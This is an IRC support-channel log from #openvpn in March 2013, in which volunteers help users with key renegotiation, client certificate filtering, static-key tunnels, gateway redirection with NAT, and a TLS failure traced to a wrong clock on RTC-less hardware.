12:55 < madsage> greets
12:56 < madsage> hey is there a way to adjust the expiry time of keys? i'm guessing that is not recomended. but just currious
12:58 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 252 seconds]
12:58 -!- xbanux [~xbanux@triband-mum-59.182.152.159.mtnl.net.in] has quit [Ping timeout: 256 seconds]
13:00 < pekster> madsage: Do you mean the symmetric encryption keys for the data channel? The public/private keys never expire, but the issued certificates have a not-valid-before and not-valid-after time
13:03 < madsage> the soft reset,  TLS: tls_process: killed expiring key
13:03 < madsage> seems like it goes off avery hour?
13:03 < madsage> avery/every
13:04 < madsage> it doesnt seem interupting but fills my logs until --mute is triggered.
13:05 -!- marksaitis [~marksaiti@cpc4-rdng22-2-0-cust932.15-3.cable.virginmedia.com] has quit [Ping timeout: 260 seconds]
13:06 < madsage> i guess i can always adjust verbosity but i like some of the other info that is provided at the same level. currently using verbostity level 4
13:06 -!- TommehM [~TomM@unaffiliated/tommehm] has quit [Ping timeout: 246 seconds]
13:07 -!- bla [bla@unaffiliated/bla] has joined #openvpn
13:07 < bla> Hellloh.
13:08 < pekster> madsage: The data channel is secured with a symmetric key (blowfish 128-bit by default, see --cipher and --keysize in the manpage) and rotates every hour by default. See the --reneg-* options to change this
13:08 < bla> I'm trying to google a way to limit access to openvpn to specific client certificate path / cn. No luck so far. Any directions?
13:09 < madsage> pekster, cool thanks man, i'll check that  --reneg option out
13:10 < pekster> madsage: There are 3 varients to that, for re-keying after a period of time, bytes, or packets. The first side to hit any of the limits initiates a re-key with the peer. It is thus allowed to use --reneg-sec 0 on the client and control it strictly from the server too
13:11 < pekster> bla: See --client-connect and key off $common_name in that script. Something sh-like this might get you started: if [ "$common_name" = "Good Client" ]; then exit 0; fi; exit 1
13:11 < bla> Ah, ok, so only external script.
13:11 < bla> Thanks.
13:11 < pekster> Or revoke clients you no longer want to connect
13:12 < pekster> Optionally you can create a ccd file with the directive 'disable' in the file which disables the client
13:12 < bla> No, I have multiple openvpn servers with users split
13:12 < bla> and want only single CA
13:12 < madsage> Renegotiate data channel key after n seconds (default=3600)
13:12 < bla> client-directory? I could create files for all files and place 'disable' in DEFAULT maybe?
13:12 < madsage> nice. ok, preciate the help.
13:13 < bla> pekster, thanks, that solution rocks.
13:13 < pekster> madsage: It's good to rotate those now and then for normal operation to gain the advantages of Perfect Forward Secrecy, but you're free to increase that. On a proxy VPN tunnel I keep open for days on end, I re-key after 500M of traffic or 12h, whichever comes first
13:13 < pekster> bla: better is to use --ccd-exclusive if you're creating ccd's for allowed clients anyway
13:14 < pekster> Even better would be to create sub-CAs for your 2 VPN servers, but maybe you're trying to avoid that for some reason
13:15 < bla> I prefer simple solutions. There're not really that much clients and there's single point for delegating privilages.
13:16 < bla> Although our next CA will be possibly a bit more complicated (at least one sub CA for VPN itself.)
13:24 -!- madsage [sage@2001:470:c:1292::2] has quit [Quit: [BX] I got sucked into /dev/null!]
13:24 < knobo`> !static
13:24 <@vpnHelper> "static" is (#1) use --ifconfig-push in a ccd entry for a static ip for the vpn client or (#2) example in net30 (default): ifconfig-push 10.8.0.6 10.8.0.5 example in subnet (see !topology) or tap (see !tunortap): ifconfig-push 10.8.0.5 255.255.255.0 or (#3) also see !ccd and !iporder
13:31 -!- aaaar0n [~no@c-174-56-147-242.hsd1.sc.comcast.net] has joined #openvpn
13:31 -!- aaaar0n is now known as ar0nic
13:42 -!- digilink [~digilink@unaffiliated/digilink] has quit [Ping timeout: 272 seconds]
13:43 -!- digilink [~digilink@unaffiliated/digilink] has joined #openvpn
14:14 -!- ade_b [~Ade@redhat/adeb] has joined #openvpn
14:18 -!- Eagleman7 [~Eagleman@vpn.eagleman.net] has quit []
14:19 < knobo`> topology subnet is probably the most intuitive(?)
14:19 < knobo`> And then I can have 243 clients on a /24 subnet, right?
14:20 < pekster> knobo`: Yup, and it's recommended unless you require support for pre-2.1 clients (ie: client versions that are 6+ years old.)
14:20 < pekster> 253 clients (256 minus 1 each for the network, "broadcast" that isn't used, and the server's IP
14:20 < knobo`> ah, right. and minus 1 for the server
14:21 < knobo`> right...
14:21 < knobo`> i wrote 243 instead of 254...
14:22 < pekster> OpenVPN is single-threaded, so you'll often run into problems actually trying to connect that many clients, depending on usage
14:39 -!- n0sq [~quassel@75-135-14-61.dhcp.krny.ne.charter.com] has joined #openvpn
14:42 < bla> pekster, are there any hardware servers cooperating with openvpn clients?
14:44 < pekster> I don't get your question
14:44 < pekster> OpenVPN uses the tun device which runs in the kernel, but otherwise operates in userland
15:10 < knobo`> How many clients is OK with low traffic?
15:11 < pekster> With low traffic? Probably a lot since it's just keepalive packets and re-keys going on
15:12 < pekster> Each client will eat a little RAM, but that shouldn't pose a problem except on embedded hardware
15:12 < knobo`> Everything is currently running with ssh tunnels.
15:13 < knobo`> Can you imagine?
15:14 < pekster> If you have multiple CPUs/cores you can just run multiple openvpn instances and load balance (either by purely random --remote-random or DNS means, or do some cute load-balancing by detecting how many clients are on a given server and send them to the lesser-utilitized one
15:16 < knobo`> good :)
15:18 < alcuadrado> Hi, I'm kind of new with openVPN, I've used it before, but now I bought a VPN service and I can't connect, and know nothing about troubleshooting it, and somehow it's not writing any log... I'm using it though networkmanager
15:18 < knobo`> Or wait for 3.0 (that was planned 3 years ago)
15:19 -!- ade_b [~Ade@redhat/adeb] has quit [Quit: Too sexy for his shirt]
15:24 < pekster> !provider
15:24 <@vpnHelper> "provider" is (#1) We are not your provider's free tech support. We support the free open source app OpenVPN, not your provider. Just because they run openvpn does not mean we are their support team. or (#2) Please contact their support team.
15:24 < pekster> !netman
15:24 <@vpnHelper> "netman" is if you are using network manager for linux to configure your vpn, dont! http://openvpn.net/archive/openvpn-users/2008-01/msg00046.html to read the same thing from the author of the openvpn 2 cookbook on the mail list
15:25 < pekster> An actual openvpn config and a log might get you further, but without access to the server config and possibly its log, it's likely hard to say why it's failing
15:29 < alcuadrado> for sure I'm not seeking free support, just a hint to learn more
15:30 < alcuadrado> so I won't use networkmanager then.. where can I read how to config it? man pages?
15:30 < pekster> Well, you've said it's not working, can't show a config file, or a log with details. My reply: "it's broken."
15:30 < pekster> !howto
15:30 <@vpnHelper> "howto" is (#1) OpenVPN comes with a great howto, http://openvpn.net/howto PLEASE READ IT! or (#2) http://www.secure-computing.net/openvpn/howto.php for a mirror
15:31 < pekster> Your config needs to match the server's end. You might try and assume defaults, but I can't really say without seeing the server end
15:31 < alcuadrado> ohh I see
15:31 < pekster> You'll need a ca.crt either way, and a client keypair if they require it
15:31 < alcuadrado> so I think first I'll try it on windows (they provide a custom installer), if it doesn't work there I think is safe to say that its blocked by the network admins
15:32 < pekster> Hopefully their "custom installer" gives you proper notice of the GPL status of openvpn and a link to the source, otherwise they're in violation of the license and need to be "encouraged" to stop violating it
15:33 < alcuadrado> let's see, I'm going to windows, brb
15:33 -!- Valcorb [~Valcorb@d54C68BC0.access.telenet.be] has quit []
15:33 -!- alcuadrado [~alcuadrad@unaffiliated/alcuadrado] has quit [Quit: This conversation is over]
15:40 < knobo`> famous last words..
15:46 -!- alcuadrado [~alcuadrad@unaffiliated/alcuadrado] has joined #openvpn
15:46 < alcuadrado> good and bad news, they respect every license :D it doesn't work :(
15:49 < pekster> Well, from where I sit I'm happy there's not a license violation (I saw one provider that tried to "re-package" openvpn and obviously linked against it in their own dll, and had no notice or mention of openvpn anywayere...)
15:50 < pekster> Well, except the binaries and stuff of course, but from a usage perspective the hid all of that
15:59 < alcuadrado> yep, ffmpeg often has the same problem
15:59 < alcuadrado> I've seen it repacked many times
16:00 < pekster> It's fine to do that of course, but you need to note that openvpn is included, provide its license, and a link to download sources, plus any linking your project has done
16:01 < pekster> This project had an "openvpn.dll" file -- that's not part of the GPL openvpn release ;)
16:01 < pekster> And of course, no clue how they ended up building that
16:01 < pekster> I lost interest when the install crashed on my sandboxed XP VM I use for trying out "questionable" products. A VM revert and I stopped caring much
16:02 < pekster> s/install/program launch/
16:07 < alcuadrado> that's one of the problems with open source licenses
16:07 < alcuadrado> it can be expensive and tiresome to enforce them
16:07 < alcuadrado> well, thanks for your help pekster
16:07 < alcuadrado> see you
16:07 -!- alcuadrado [~alcuadrad@unaffiliated/alcuadrado] has quit [Quit: This conversation is over]
16:19 -!- gffa [~unknown@unaffiliated/gffa] has quit [Quit: sleep]
16:37 -!- Orbi [~opera@109.129.18.23] has left #openvpn []
16:43 -!- knobo` [~bohmer@174.16.9.46.customer.cdi.no] has quit [Ping timeout: 248 seconds]
16:43 -!- C-S-B [~C-S-B@craigsblackie.broker.freenet6.net] has quit [Ping timeout: 276 seconds]
16:48 -!- C-S-B [~C-S-B@86.171.238.234] has joined #openvpn
17:18 -!- s7r [~s7r@openvpn/user/s7r] has left #openvpn []
17:42 -!- emmanuelux [~emmanuelu@vau92-2-82-228-217-1.fbx.proxad.net] has quit [Quit: emmanuelux]
17:57 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has quit [Ping timeout: 252 seconds]
18:16 -!- ar0nic [~no@c-174-56-147-242.hsd1.sc.comcast.net] has quit [Ping timeout: 256 seconds]
18:41 -!- JSharpe [~JSharpe@46.23.64.90] has quit [Quit: Leaving]
18:50 -!- emmanuelux [~emmanuelu@vau92-2-82-228-217-1.fbx.proxad.net] has joined #openvpn
18:54 -!- C-S-B [~C-S-B@86.171.238.234] has quit [Ping timeout: 245 seconds]
18:58 -!- C-S-B [~C-S-B@86.171.238.234] has joined #openvpn
18:58 -!- newbie|2 [~tjz@bb219-74-43-126.singnet.com.sg] has quit [Quit: quit irc]
18:58 -!- tjz [~tjz@unaffiliated/tjz] has joined #openvpn
18:59 -!- tjz [~tjz@unaffiliated/tjz] has quit [Client Quit]
18:59 -!- tjz [~tjz@unaffiliated/tjz] has joined #openvpn
19:12 -!- spacebarbarian [~spacebarb@98.110.83.136] has joined #openvpn
19:13 -!- spacebarbarian [~spacebarb@98.110.83.136] has left #openvpn []
19:13 -!- spacebarbarian [~spacebarb@98.110.83.136] has joined #openvpn
19:25 -!- smerz [~smerz@a177088.upc-a.chello.nl] has quit [Ping timeout: 260 seconds]
19:35 -!- MFSOT [~garret@24.34.166.26] has joined #openvpn
19:36 -!- aaaar0n [~no@c-174-56-147-242.hsd1.sc.comcast.net] has joined #openvpn
19:36 -!- aaaar0n is now known as ar0nic
19:44 < pulz_> im trying to automate an nfs mount after openvpn has connect, but --route-up and --up seems to call the script during the connect before the routes have been set, eg it doesnt work
19:45 < pulz_> is there any other values that can be used ?
19:48 -!- l1t [~l1t@cpe-70-112-112-239.austin.res.rr.com] has quit [Quit: leaving]
19:54 -!- pinion_ is now known as pinion
19:55 -!- spacebarbarian [~spacebarb@98.110.83.136] has quit [Quit: Leaving]
20:08 < pekster> pulz_: You probably want --route-up instead
20:08 < pekster> pulz_: Maybe with --route-delay too?
20:10 < pekster> You can increase the verbosity to verb 4 and you should see the exact ordering of route additions vs script calls too
20:13 < pulz_> pekster: ended up doing a "dirty" fix 2 step scripting with script exit in script1, and it works fine (--route-up)
20:15 < pekster> Ah, that works. According to the docs --route-up is supposed to occur after routes are added (assuming you're not using --route-noexec or --route-nopull.) But yea, calling itself again with a re-entry format or something works too as a poor man's fork
20:17 < pekster> [ "$1" = "re-entry" ] || "$0" re-entry "$@" & && exit 0; sleep 2; shift 1; ...
20:17 < pekster> Or something
20:20 < pulz_> i saw a couple of posts on the forum also that indicated that not everything is setup with --route-up calls the script,  and it seems to be correct, i couldnt ping the remote host before the script ended
20:20 < pulz_> and then route / connections was completed
20:21 < pulz_> but the quickfix seems to work fine so im happy
20:22 -!- xtz [xtz@DeathStar.Techn0.eu] has quit [Quit: Lost terminal]
20:35 -!- Cpt-Oblivious [Cpt-Oblivi@a202101.upc-a.chello.nl] has quit []
20:38 -!- emmanuelux [~emmanuelu@vau92-2-82-228-217-1.fbx.proxad.net] has quit [Remote host closed the connection]
20:38 -!- MFSOT [~garret@24.34.166.26] has quit [Ping timeout: 245 seconds]
21:09 -!- ar0nic [~no@c-174-56-147-242.hsd1.sc.comcast.net] has quit [Ping timeout: 248 seconds]
21:27 -!- TommehM [~TomM@unaffiliated/tommehm] has joined #openvpn
21:32 -!- ceda [~fredrik@c83-248-146-227.bredband.comhem.se] has joined #openvpn
21:34 < ceda> Hi. I'm running OpenVPN 2.2.1 on a Ubuntu server 12.04.01. On my MacBook Air with latest os X I'm running Tunnelblick 3.3beta21b
21:35 < ceda> I've tried to get the very simple static key configuration up and running, as detailed here: http://openvpn.net/index.php/open-source/documentation/miscellaneous/78-static-key-mini-howto.html
21:35 <@vpnHelper> Title: Static Key Mini-HOWTO (at openvpn.net)
21:35 < ceda> both server and client machines says "all is well", but I can't ping either end
21:36 < ceda> !paste
21:36 <@vpnHelper> "paste" is "pastebin" is (#1) please paste anything with more than 5 lines into pastebin or a similar website or (#2) https://gist.github.com is a recommended place to use
21:37 < pekster> ceda: Configs from both ends, plus logs at 'verb 5' will be helpful. Also note that static key has no protocol handshake, so firewalls are a potential issue that will cause traffic not to reach the other side
21:37 < pekster> !configs
21:37 <@vpnHelper> "configs" is (#1) please pastebin your client and server configs (with comments removed, you can use `grep -vE '^#|^;|^$' server.conf`), also include which OS and version of openvpn. or (#2) dont forget to include any ccd entries or (#3) on pfSense, see http://www.secure-computing.net/wiki/index.php/OpenVPN/pfSense to obtain your config
21:37 < pekster> !logs
21:37 <@vpnHelper> "logs" is (#1) is please pastebin your logfiles from both client and server with verb set to 5 or (#2) In the Windows client(OpenVPN-GUI) right-click the status icon and pick View Log or (#3) In the OS X client(Tunnelblick) right-click it nd select Copy log text to clipboard or (#4) if you dont know how to find your logs, see !logfile
21:38 < ceda> pekster: thanks, firewalls are off, I'll see if "nobind" on client is the cause. If not, I'll continue with posting my stuff.
21:39 < pekster> That will cause the client to use a dynamically-created port instead of the 1194 default. It's a good idea on clients generaly, but shouldn't be the cause of your issue without a big warning/error in the log about binding
21:40 < pekster> To be clear, that's for sourcing, not the destination port
21:47 < ceda> ok
21:47 < ceda> and no, didn't help. Soon to paste link to gist
21:49 < ceda> https://gist.github.com/FredrikWendt/bebee1cc75a70c16c868
21:49 <@vpnHelper> Title: client side config (at gist.github.com)
21:52 < pekster> ceda: So, if you ping the peer, you should see 'W' packets printed in the log at verb 5 (these are the openvpn tunnel packets being written)
21:53 < pekster> You should see 'R' on the server correspondoing to this meaning it was received
21:53 < pekster> If you don't, the next step is to tcpdump your interface on the server and see if the tunneled (on udp 1194) packets even come in, and verify the firewall is allowing it into the server application
21:55 < ceda> pekster: uhm, it works now! :-P
21:55 < ceda> RwrW patterns on server
21:55 < pekster> You probably want to enable the 'keepalive' option too
21:56 < pekster> Otherwise statefull firewalls (like you probably have running on your client) will refuse inbound packets after the fw decides the UDP stream is "over"
21:56 < pekster> Something like 'keepalive 10 120' tends to work well
21:56 < pekster> !keepalive
21:56 <@vpnHelper> "keepalive" is (#1) see --keepalive in the manual for how to make clients retry connecting if they get disconnected. or (#2) basically it is a wrapper for managing --ping and --ping-restart in server/client mode or (#3) if you use this, don't use --tls-exit and also avoid --single-session and --inactive
21:56 < ceda> well, I want a multi-user solution eventually, and have default being routed through the tunnel - I just thought I'd start with a basic simple solution
21:57 < pekster> Well, PKI isn't that much trickier to set up; just a few extra files and the PKI itself. The official howto walks you through the process:
21:57 < pekster> !howto
21:57 <@vpnHelper> "howto" is (#1) OpenVPN comes with a great howto, http://openvpn.net/howto PLEASE READ IT! or (#2) http://www.secure-computing.net/openvpn/howto.php for a mirror
21:58 < pekster> Static key mode just blasts encrypted packets to the peer; it's functionally similar to an IPSec or GRE tunnel in that sense
21:59 < ceda> pekster: I used OpenVPN with pam authentication a couple of years ago
21:59 < ceda> distribute some files, and then rely on each user to know his/her credentials
22:00 < pekster> Personally I like to keep my VPN user DB separate from my system DB; LDAP is a middle-road option where you can assign users to groups and allow connections from only users in the 'VPN Access' group, for instance
22:01 < pekster> user-pass works, although you forgo the advantage of requiring the cert so that lost/stolen/guessed credentials can't be used for access
22:01 < ceda> well, this is a virtual machine and I intended to add users that could not login
22:02 < ceda> that's an acceptable risk, with PKI a leaked set of file is all that is needed which I think is more likely to happen from what I see how my colleagues uses files
22:03 < pekster> Nope, you also need the passphrase to decrypt the private key
22:03 < ceda> ah!
22:03 < pekster> Unless you store them on-disk unencrypted (solution: don't do that)
22:03 < ceda> :-)
22:03 < pekster> So, to connect in X509 mode you both need the private key and the pw to unlock it
22:04 < pekster> It's not quite dual-factor, but it requires "something you know" (the pw) to unlock the "something you have"
22:04 < pekster> Tehnically you can also add user-pass auth on top of that so the user also needs a valid user/pass too
22:05 < ceda> yes, tunnelblick helps with all of the key unlocking/decrypting I guess
22:05 < pekster> Indeed; it'll prompt for the passphrase of the key is encrypted
22:06 < ceda> or which key are we talking about - I'm thinking of generating n "client" keys (one for each colleague)
22:06 < ceda> but that's for another day
22:06 < ceda> pekster: thanks for all your help!
22:07 < pekster> np
22:07 < ceda> just need to get the client to route default via the tunnel and I'm set for today
22:07 < pekster> !redirect
22:07 <@vpnHelper> "redirect" is (#1) to make all inet traffic flow through the vpn, you will need --redirect-gateway (see !def1), as well as IP forwarding (see !ipforward) and NAT (see !nat) enabled on the server. or (#2) you may need to use a different dns server when redirecting gateway, see !dns or !pushdns or (#3) if using ipv6 try: route-ipv6 2000::/3 or (#4) Handy troubleshooting flowchart:
22:07 <@vpnHelper> http://ircpimps.org/redirect.png
22:10 < ceda> !def1
22:11 <@vpnHelper> "def1" is (#1) used in redirect-gateway, Add the def1 flag to override the default gateway by using 0.0.0.0/1 and 128.0.0.0/1 rather than 0.0.0.0/0. This has the benefit of overriding but not wiping out the original default gateway. or (#2) please see --redirect-gateway in the man page ( !man ) to fully understand or (#3) push "redirect-gateway def1"
22:15 < ceda> !nat-linux
22:15 < ceda> took a shot :-)
22:23 -!- xbanux [~xbanux@115.254.75.113] has joined #openvpn
22:23 < ceda> ah, the ! must go before -d
22:31 < pekster> !linnat
22:31 <@vpnHelper> "linnat" is (#1) for a basic iptables NAT where 10.8.0.x is the vpn network: iptables -t nat -A POSTROUTING -s 10.8.0.0/24 -o eth0 -j MASQUERADE or (#2) to choose what IP address to NAT as, you can use iptables -t nat -I POSTROUTING -o eth0 -j SNAT --to <IP ADDRESS> or (#3) http://netfilter.org/documentation/HOWTO//NAT-HOWTO.html for more info or (#4) openvz see !openvzlinnat
22:34 -!- odoacre_ is now known as odoacre
22:55 < ceda> pekster: hmm, can't get the redirect stuff to work - what should I be looking for in the client side logs when it works?
22:55 < ceda> I don't see that the client ever changes the default route
23:06 < pekster> ceda: If you're still using a static setup it won't pull directives (you need X509 for that where the handshake and protocol exchange takes place) so you need to specify the redirect-gateway directive locally
23:06 < pekster> NAT and firewall stuff still needs to happen as before on the server
23:08 -!- aaaar0n [~no@c-174-56-147-242.hsd1.sc.comcast.net] has joined #openvpn
23:08 -!- aaaar0n is now known as ar0nic
23:20 < ceda> ah, and that explains everything. thanks again! :-)
23:29 -!- Webhostbudd [~Webhostbu@c-24-7-197-240.hsd1.il.comcast.net] has joined #openvpn
23:30 < Webhostbudd> any ideas why i might be getting Sun Mar  3 06:18:41 2013 TLS Error: Unroutable control packet received from [AF_INET]xxx.xxx.xxx.xxx:1194 (si=3 op=P_CONTROL_V1)
23:30 < Webhostbudd> from a client/server which were previously on 2.2 and now upgraded to 2.3
23:49 < Webhostbudd> alright, disregard the above. It seems the ssl certificates were changed out with the upgrade and don't have common names =(
--- Day changed Mon Mar 04 2013
00:04 -!- dli_ [~dli@dsl-69-172-86-211.acanac.net] has quit [Remote host closed the connection]
01:56 -!- xtz [xtz@DeathStar.Techn0.eu] has joined #openvpn
02:44 -!- colo-work [~jt@78.142.138.4] has quit [Read error: Connection reset by peer]
02:54 -!- Sickness\ [~stront@unaffiliated/s-work] has quit [Read error: Operation timed out]
02:58 -!- amir [~amir@unaffiliated/amir] has quit [Ping timeout: 256 seconds]
02:58 -!- ade_b [~Ade@koln-5d8170b5.pool.mediaWays.net] has joined #openvpn
02:58 -!- ade_b [~Ade@koln-5d8170b5.pool.mediaWays.net] has quit [Changing host]
02:58 -!- ade_b [~Ade@redhat/adeb] has joined #openvpn
03:13 -!- krzee [nobody@64.234.228.10] has joined #openvpn
03:13 -!- krzee [nobody@64.234.228.10] has quit [Changing host]
03:13 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn
03:13 -!- mode/#openvpn [+o krzee] by ChanServ
03:24 -!- zz_AsadH is now known as AsadH
03:31 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has joined #openvpn
04:01 -!- kobolduk [~kobolduk@office.prolocation.net] has joined #openvpn
04:02 -!- odoacre [~antonio@222.126.240.10] has quit [Remote host closed the connection]
04:06 -!- kyrix [~ashley@85-126-76-82.work.xdsl-line.inode.at] has quit [Quit: Ex-Chat]
04:09 -!- gardar_ [~gardar@gardar.net] has quit [Read error: Operation timed out]
04:36 -!- _ingsoc [~phillip@216.155.131.69] has joined #openvpn
04:36 -!- gardar [~gardar@gardar.net] has joined #openvpn
04:36 < _ingsoc> Is there an option to skip openvpn connection (as a daemon) if I'm not connecting to the Internet?
04:37 < _ingsoc> The reason I ask is because it sits there for a long time trying to connect when I boot if I'm not connected to the net.
04:43 < _ingsoc> :)
04:44 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
04:44 < _ingsoc> That's not a passive aggressive smiley. I just wanted to check if I'm still connected to the chat.
04:48 <@krzee> thats all your OS stuff
04:48 <@krzee> its your init script
04:49 <@krzee> you could short-circuit the script with a check
04:49 < _ingsoc> I'm on Debian Sid.
04:49 < _ingsoc> krzee: How would I do that? :/
04:50 <@krzee> i dont have debian, cant look at the init scripts for ya
04:50 <@krzee> maybe #debian
04:50 <@krzee> over 1000 more people there too
04:51 < _ingsoc> Doesn't openvpn have an option to stop trying?
04:51 < _ingsoc> Or maybe lower the timeout?
04:51 <@krzee> sure, but it'll still try
04:51 <@krzee> your question isnt about openvpn, it is about how to not run an init script when offline
04:51 < _ingsoc> I don't mind it trying.
04:51 < _ingsoc> I just want to lower the wait.
04:52 <@krzee> if it IS online, and does not succeed in connecting or loses connection, you do not want it to continue reconnecting?
04:52 <@krzee> what wait?
04:52 <@krzee> openvpn isnt blocking anything, that is your debian init stuff
04:52 < _ingsoc> Hmm. Alright. I will go ask in Debian.
04:52 < _ingsoc> Thank you for your help! :D
04:52 <+EugeneKay> Debian's init script makes me cry
04:52 <@krzee> yw
04:53 < _ingsoc> :(
04:53 <@krzee> i never knew you were so emotionally invested in debian EugeneKay
04:53 <+EugeneKay> It's a deep-seated hatred of the OS
04:53 < _ingsoc> Help me EugeneKay!
04:53  * EugeneKay hands _ingsoc a Scientific Linux DVD
04:54 < _ingsoc> D:
04:54  * krzee hands EugeneKay a manual to hand _ingsoc as well
04:55  * EugeneKay chews on it first
04:56 -!- _ingsoc [~phillip@216.155.131.69] has left #openvpn []
05:01 -!- mirco [~mirco@pd95b6029.dip0.t-ipconnect.de] has joined #openvpn
05:14 -!- sh_t [~sht@176.222.238.158] has quit [Ping timeout: 272 seconds]
05:18 -!- amir [~amir@unaffiliated/amir] has joined #openvpn
05:33 -!- marksaitis [~marksaiti@62.49.62.180] has joined #openvpn
06:04 -!- MariusIT [~userit@86.120.191.55] has quit [Quit: Nettalk6 - www.ntalk.de]
06:13 -!- xbanux [~xbanux@115.254.75.113] has quit [Ping timeout: 245 seconds]
06:22 < vistas> How do I get the Windows OpenVPN Client to remember my login credentials? My username and password are complex and it is tedious to enter them each time. Settings/Advanced Settings show no option other than caching credentials, but they are checked off and don't do what I need.
06:44 -!- Mcloven_ [~Mcloven@ppp203-122-218-215.static.internode.on.net] has quit [Read error: Connection reset by peer]
06:45 -!- Mcloven [~Mcloven@ppp203-122-218-215.static.internode.on.net] has joined #openvpn
06:47 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has quit [Ping timeout: 256 seconds]
06:52 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has joined #openvpn
07:14 < dropje> vistas: http://www.personalvpn.org/auto_login_openvpn.htm this is *not* a secure way to store passwords remember that
07:14 <@vpnHelper> Title: Auto connect and autologin with OpenVPN on Windows (at www.personalvpn.org)
07:31 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has quit [Read error: Connection reset by peer]
07:39 -!- cyberspace- [20253@ninthfloor.org] has quit [Read error: Operation timed out]
07:41 -!- cyberspace- [20253@ninthfloor.org] has joined #openvpn
07:43 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has joined #openvpn
07:57 -!- gitsu-sa [~gtu@unaffiliated/gitsu-sa] has joined #openvpn
07:58 < gitsu-sa> i can't access to my openvpn server anymore x_x
07:58 < gitsu-sa> Mon Mar  4 15:57:02 2013 us=561336 Expected Remote Options String: 'V4,dev-type tun,link-mtu 1602,tun-mtu 1500,proto UDPv4,comp-lzo,keydir 0,cipher AES-256-CBC,auth SHA512,keysize 256,tls-auth,key-method 2,tls-server'
07:58 < gitsu-sa> i get a lot of: WRWRWRWRWRWRWRWRWRWRRWRWRWRWRWRWRWR
07:58 < gitsu-sa> WWWWWWWWMon Mar  4 15:58:02 2013 us=129795 TLS Error: TLS key negotiation failed to occur within 60 seconds (check your network connectivity)
07:59 <@ecrist> gitsu-sa: looks like someone may be blocking the openvpn connection
07:59 <@ecrist> work firewall, perhaps?
07:59 < gitsu-sa> i'm at home
07:59 < gitsu-sa> the vpn is in my net
08:02 < gitsu-sa> http://pastebin.com/raw.php?i=zW8fvUfW
08:03 < gitsu-sa> i get a TLS: Initial packet fom openvpip, sid+something
08:03 <@ecrist> can we see server and client log, please?
08:03 <@ecrist> !logs
08:03 <@vpnHelper> "logs" is (#1) is please pastebin your logfiles from both client and server with verb set to 5 or (#2) In the Windows client(OpenVPN-GUI) right-click the status icon and pick View Log or (#3) In the OS X client(Tunnelblick) right-click it nd select Copy log text to clipboard or (#4) if you dont know how to find your logs, see !logfile
08:03 < gitsu-sa> uhm, I can access to it only by openvpn x_x
08:04 <@ecrist> uhm, I can't help you without the log
08:08 < gitsu-sa> i know that my router got a restart
08:09 < gitsu-sa> but it has a static ip, i can ping it
08:11 < gitsu-sa> well i'm going to restart it
08:11 < gitsu-sa> hope that i will find them log to debug what was the problem
08:13 <@ecrist> I'm guessing something got screwed up in the reboot, like the openvpn server didn't start, or something like that
08:14 < gitsu-sa> uhm
08:14 < gitsu-sa> but i get a package from it
08:14 < gitsu-sa> "TLS: Initial packet from $openvpn_server_ip, sid=$RANDOM $RANDOM"
08:15 < gitsu-sa> VERIFY OK: depth=1, /CN=$name_of_server_crt
08:15 < gitsu-sa> and then VERIFY OK of mine crt
08:15 <@ecrist> how about you show us the logs, like I asked?
08:15 < gitsu-sa> i can show the client log now
08:16 < gitsu-sa> !logfile
08:16 <@vpnHelper> "logfile" is (#1) openvpn will log to syslog if started in daemon mode. You can manually specify a logfile with: log /path/to/logfile or (#2) verb 3 is good for everyday usage, verb 5 for debugging or (#3) see --daemon --log and --verb in the manual (!man) for more info
08:17 -!- speed_racer8 [~speed_rac@c-98-196-168-201.hsd1.tx.comcast.net] has quit [Ping timeout: 260 seconds]
08:18 -!- neilhwatson [~neilhwats@CPE00e081b5ee1e-CMbc140134c320.cpe.net.cable.rogers.com] has joined #openvpn
08:21 -!- gitsu-sa [~gtu@unaffiliated/gitsu-sa] has quit [Ping timeout: 252 seconds]
08:23 -!- gitsu-sa [~gtu@adsl-ull-76-36.45-151.net24.it] has joined #openvpn
08:23 -!- gitsu-sa [~gtu@adsl-ull-76-36.45-151.net24.it] has quit [Client Quit]
08:24 -!- gitsu-sa [~gtu@unaffiliated/gitsu-sa] has joined #openvpn
08:24 < gitsu-sa> http://pastebin.com/raw.php?i=5L9ACMhT
08:26 < gitsu-sa> config: http://pastebin.com/raw.php?i=BpLCYAyW
08:27 < gitsu-sa> if you can't get nothing with those client things
08:27 < gitsu-sa> i will restart the server x_x
08:34 < gitsu-sa> uhm, with the restart i solved, seems like i don't have log
08:35 < pekster> gitsu-sa: You should check the server logfile too. The client gets partway througho the TLS handshake but it then times out. Possible causes are the server rejected it for some reason, a network issue prevented successful handshake (dropped data, MTU issues, etc)
08:35 < pekster> Don't have the server log?
08:35 < gitsu-sa> http://pastebin.com/raw.php?i=rtVz2KAD
08:35 < gitsu-sa> server config
08:37 < pekster> Configs look fine. I'm wondering if something like the clock might have been off causing the server to believe the client cert was not valid or something like that
08:38 < gitsu-sa> ofc the clock was wrong
08:38 < gitsu-sa> i know that...
08:38 < gitsu-sa> it doesn't have an hardware clock
08:38 < gitsu-sa> i have a script to post-up net config
08:38 < gitsu-sa> to sync with ntp
08:38 < gitsu-sa> so this is my 'bug'
08:39 < pekster> Yup. I also run OpenVPN on some embedded hardware applications too, so clock sync is critical to verify
08:39 < gitsu-sa> any hints? x_x
08:39 < gitsu-sa> i need to save the date somewhere
08:39 < gitsu-sa> and get it at start
08:40 < pekster> Not if you have no RTC. Since OpenVPN doesn't work without net access anyway, I solve the problem by testing the clock and if it's not "recent" (my hw sets itself to something like 2001, so I just test that it's later than 2013 or w/e current year is) I bounce the ntpd service
08:41 < pekster> I continue testing every few minutes until the clock is correct, so even if ntpd crashes after boot or something that "shouldn't" happen, it still eventually gets corrected afer a few minutes
08:44 < gitsu-sa> http://packages.debian.org/wheezy/fake-hwclock
08:45 < gitsu-sa> this looks good
08:45 <@vpnHelper> Title: Debian -- Details of package fake-hwclock in wheezy (at packages.debian.org)
08:47 < gitsu-sa> it start very soon
08:52 < gitsu-sa> well, thank you pekster!!! C:
08:52 < gitsu-sa> i will never get that problem again.
